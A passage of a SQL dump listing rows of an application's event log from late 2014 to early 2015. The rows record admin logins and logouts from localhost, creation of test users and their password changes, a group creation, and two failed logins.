Safari/537.11',NULL,NULL,NULL,NULL),(223,'2014-12-26 20:00:24','USER_LOGIN',1,'2014-12-26 21:00:24',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(224,'2014-12-27 01:10:27','USER_LOGIN',1,'2014-12-27 02:10:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(225,'2014-12-28 19:12:08','USER_LOGIN',1,'2014-12-28 20:12:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(226,'2014-12-28 20:16:58','USER_LOGIN',1,'2014-12-28 21:16:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(227,'2014-12-29 14:35:46','USER_LOGIN',1,'2014-12-29 15:35:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(228,'2014-12-29 14:37:59','USER_LOGOUT',1,'2014-12-29 15:37:59',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(229,'2014-12-29 14:38:00','USER_LOGIN',1,'2014-12-29 15:38:00',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(230,'2014-12-29 17:16:48','USER_LOGIN',1,'2014-12-29 18:16:48',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(231,'2014-12-31 12:02:59','USER_LOGIN',1,'2014-12-31 13:02:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(232,'2015-01-02 20:32:51','USER_LOGIN',1,'2015-01-02 21:32:51',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0',NULL,NULL,NULL,NULL),(233,'2015-01-02 20:58:59','USER_LOGIN',1,'2015-01-02 21:58:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(234,'2015-01-03 09:25:07','USER_LOGIN',1,'2015-01-03 10:25:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(235,'2015-01-03 19:39:31','USER_LOGIN',1,'2015-01-03 20:39:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(236,'2015-01-04 22:40:19','USER_LOGIN',1,'2015-01-04 23:40:19',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(237,'2015-01-05 12:59:59','USER_LOGIN',1,'2015-01-05 13:59:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(238,'2015-01-05 15:28:52','USER_LOGIN',1,'2015-01-05 16:28:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(239,'2015-01-05 17:02:08','USER_LOGIN',1,'2015-01-05 18:02:08',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(240,'2015-01-06 12:13:33','USER_LOGIN',1,'2015-01-06 13:13:33',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(241,'2015-01-07 01:21:15','USER_LOGIN',1,'2015-01-07 02:21:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(242,'2015-01-07 01:46:31','USER_LOGOUT',1,'2015-01-07 02:46:31',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(243,'2015-01-07 19:54:50','USER_LOGIN',1,'2015-01-07 20:54:50',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(244,'2015-01-08 21:55:01','USER_LOGIN',1,'2015-01-08 22:55:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(245,'2015-01-09 11:13:28','USER_LOGIN',1,'2015-01-09 12:13:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(246,'2015-01-10 18:30:46','USER_LOGIN',1,'2015-01-10 19:30:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(247,'2015-01-11 18:03:26','USER_LOGIN',1,'2015-01-11 19:03:26',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(248,'2015-01-12 11:15:04','USER_LOGIN',1,'2015-01-12 12:15:04',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(249,'2015-01-12 14:42:44','USER_LOGIN',1,'2015-01-12 15:42:44',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(250,'2015-01-13 12:07:17','USER_LOGIN',1,'2015-01-13 13:07:17',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(251,'2015-01-13 17:37:58','USER_LOGIN',1,'2015-01-13 18:37:58',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(252,'2015-01-13 19:24:21','USER_LOGIN',1,'2015-01-13 20:24:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(253,'2015-01-13 19:29:19','USER_LOGOUT',1,'2015-01-13 20:29:19',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(254,'2015-01-13 21:39:39','USER_LOGIN',1,'2015-01-13 22:39:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(255,'2015-01-14 00:52:21','USER_LOGIN',1,'2015-01-14 01:52:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(256,'2015-01-16 11:34:31','USER_LOGIN',1,'2015-01-16 12:34:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(257,'2015-01-16 15:36:21','USER_LOGIN',1,'2015-01-16 16:36:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(258,'2015-01-16 19:17:36','USER_LOGIN',1,'2015-01-16 20:17:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(259,'2015-01-16 19:48:08','GROUP_CREATE',1,'2015-01-16 20:48:08',1,'Création groupe ggg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(260,'2015-01-16 21:48:53','USER_LOGIN',1,'2015-01-16 22:48:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(261,'2015-01-17 19:55:53','USER_LOGIN',1,'2015-01-17 20:55:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(262,'2015-01-18 09:48:01','USER_LOGIN',1,'2015-01-18 10:48:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(263,'2015-01-18 13:22:36','USER_LOGIN',1,'2015-01-18 14:22:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(264,'2015-01-18 16:10:23','USER_LOGIN',1,'2015-01-18 17:10:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(265,'2015-01-18 17:41:40','USER_LOGIN',1,'2015-01-18 18:41:40',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(266,'2015-01-19 14:33:48','USER_LOGIN',1,'2015-01-19 15:33:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(267,'2015-01-19 16:47:43','USER_LOGIN',1,'2015-01-19 17:47:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(268,'2015-01-19 16:59:43','USER_LOGIN',1,'2015-01-19 17:59:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(269,'2015-01-19 17:00:22','USER_LOGIN',1,'2015-01-19 18:00:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(270,'2015-01-19 17:04:16','USER_LOGOUT',1,'2015-01-19 18:04:16',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(271,'2015-01-19 17:04:18','USER_LOGIN',1,'2015-01-19 18:04:18',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(272,'2015-01-20 00:34:19','USER_LOGIN',1,'2015-01-20 01:34:19',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(273,'2015-01-21 11:54:17','USER_LOGIN',1,'2015-01-21 12:54:17',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(274,'2015-01-21 13:48:15','USER_LOGIN',1,'2015-01-21 14:48:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(275,'2015-01-21 14:30:22','USER_LOGIN',1,'2015-01-21 15:30:22',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(276,'2015-01-21 15:10:46','USER_LOGIN',1,'2015-01-21 16:10:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(277,'2015-01-21 17:27:43','USER_LOGIN',1,'2015-01-21 18:27:43',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(278,'2015-01-21 21:48:15','USER_LOGIN',1,'2015-01-21 22:48:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(279,'2015-01-21 21:50:42','USER_LOGIN',1,'2015-01-21 22:50:42',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(280,'2015-01-23 09:28:26','USER_LOGIN',1,'2015-01-23 10:28:26',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(281,'2015-01-23 13:21:57','USER_LOGIN',1,'2015-01-23 14:21:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(282,'2015-01-23 16:52:00','USER_LOGOUT',1,'2015-01-23 17:52:00',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(283,'2015-01-23 16:52:05','USER_LOGIN_FAILED',1,'2015-01-23 17:52:05',NULL,'Bad value for login or password - login=bbb','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(284,'2015-01-23 16:52:09','USER_LOGIN',1,'2015-01-23 17:52:09',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(285,'2015-01-23 16:52:27','USER_CREATE',1,'2015-01-23 17:52:27',1,'Création utilisateur aaa','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(286,'2015-01-23 16:52:27','USER_NEW_PASSWORD',1,'2015-01-23 17:52:27',1,'Changement mot de passe de aaa','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(287,'2015-01-23 16:52:37','USER_CREATE',1,'2015-01-23 17:52:37',1,'Création utilisateur bbb','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(288,'2015-01-23 16:52:37','USER_NEW_PASSWORD',1,'2015-01-23 17:52:37',1,'Changement mot de passe de bbb','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(289,'2015-01-23 16:53:15','USER_LOGOUT',1,'2015-01-23 17:53:15',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(290,'2015-01-23 16:53:20','USER_LOGIN',1,'2015-01-23 17:53:20',4,'(UserLogged,aaa)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(291,'2015-01-23 19:16:58','USER_LOGIN',1,'2015-01-23 20:16:58',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(292,'2015-01-26 10:54:07','USER_LOGIN',1,'2015-01-26 11:54:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(293,'2015-01-29 10:15:36','USER_LOGIN',1,'2015-01-29 11:15:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(294,'2015-01-30 17:42:50','USER_LOGIN',1,'2015-01-30 18:42:50',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(295,'2015-02-01 08:49:55','USER_LOGIN',1,'2015-02-01 09:49:55',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(296,'2015-02-01 08:51:57','USER_LOGOUT',1,'2015-02-01 09:51:57',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(297,'2015-02-01 08:52:39','USER_LOGIN',1,'2015-02-01 09:52:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(298,'2015-02-01 21:03:01','USER_LOGIN',1,'2015-02-01 22:03:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(299,'2015-02-10 19:48:39','USER_LOGIN',1,'2015-02-10 20:48:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(300,'2015-02-10 20:46:48','USER_LOGIN',1,'2015-02-10 21:46:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(301,'2015-02-10 21:39:23','USER_LOGIN',1,'2015-02-10 22:39:23',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(302,'2015-02-11 19:00:13','USER_LOGIN',1,'2015-02-11 20:00:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(303,'2015-02-11 19:43:44','USER_LOGIN_FAILED',1,'2015-02-11 20:43:44',NULL,'Unknown column \'u.fk_user\' in \'field list\'','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(304,'2015-02-11 19:44:01','USER_LOGIN',1,'2015-02-11 20:44:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(305,'2015-02-12 00:27:35','USER_LOGIN',1,'2015-02-12 01:27:35',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(306,'2015-02-12 00:27:38','USER_LOGOUT',1,'2015-02-12 01:27:38',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(307,'2015-02-12 00:28:07','USER_LOGIN',1,'2015-02-12 01:28:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(308,'2015-02-12 00:28:09','USER_LOGOUT',1,'2015-02-12 01:28:09',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(309,'2015-02-12 00:28:26','USER_LOGIN',1,'2015-02-12 01:28:26',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(310,'2015-02-12 00:28:30','USER_LOGOUT',1,'2015-02-12 01:28:30',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(311,'2015-02-12 12:42:15','USER_LOGIN',1,'2015-02-12 13:42:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(312,'2015-02-12 13:46:16','USER_LOGIN',1,'2015-02-12 14:46:16',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(313,'2015-02-12 14:54:28','USER_LOGIN',1,'2015-02-12 15:54:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(314,'2015-02-12 16:04:46','USER_LOGIN',1,'2015-02-12 17:04:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(315,'2015-02-13 14:02:43','USER_LOGIN',1,'2015-02-13 15:02:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(316,'2015-02-13 14:48:30','USER_LOGIN',1,'2015-02-13 15:48:30',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(317,'2015-02-13 17:44:53','USER_LOGIN',1,'2015-02-13 18:44:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(318,'2015-02-15 08:44:36','USER_LOGIN',1,'2015-02-15 09:44:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(319,'2015-02-15 08:53:20','USER_LOGIN',1,'2015-02-15 09:53:20',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(320,'2015-02-16 19:10:28','USER_LOGIN',1,'2015-02-16 20:10:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(321,'2015-02-16 19:22:40','USER_CREATE',1,'2015-02-16 20:22:40',1,'Création utilisateur aaab','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(322,'2015-02-16 19:22:40','USER_NEW_PASSWORD',1,'2015-02-16 20:22:40',1,'Changement mot de passe de aaab','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(323,'2015-02-16 19:48:15','USER_CREATE',1,'2015-02-16 20:48:15',1,'Création utilisateur zzz','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(324,'2015-02-16 19:48:15','USER_NEW_PASSWORD',1,'2015-02-16 20:48:15',1,'Changement mot de passe de zzz','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(325,'2015-02-16 19:50:08','USER_CREATE',1,'2015-02-16 20:50:08',1,'Création utilisateur zzzg','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(326,'2015-02-16 19:50:08','USER_NEW_PASSWORD',1,'2015-02-16 20:50:08',1,'Changement mot de passe de zzzg','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 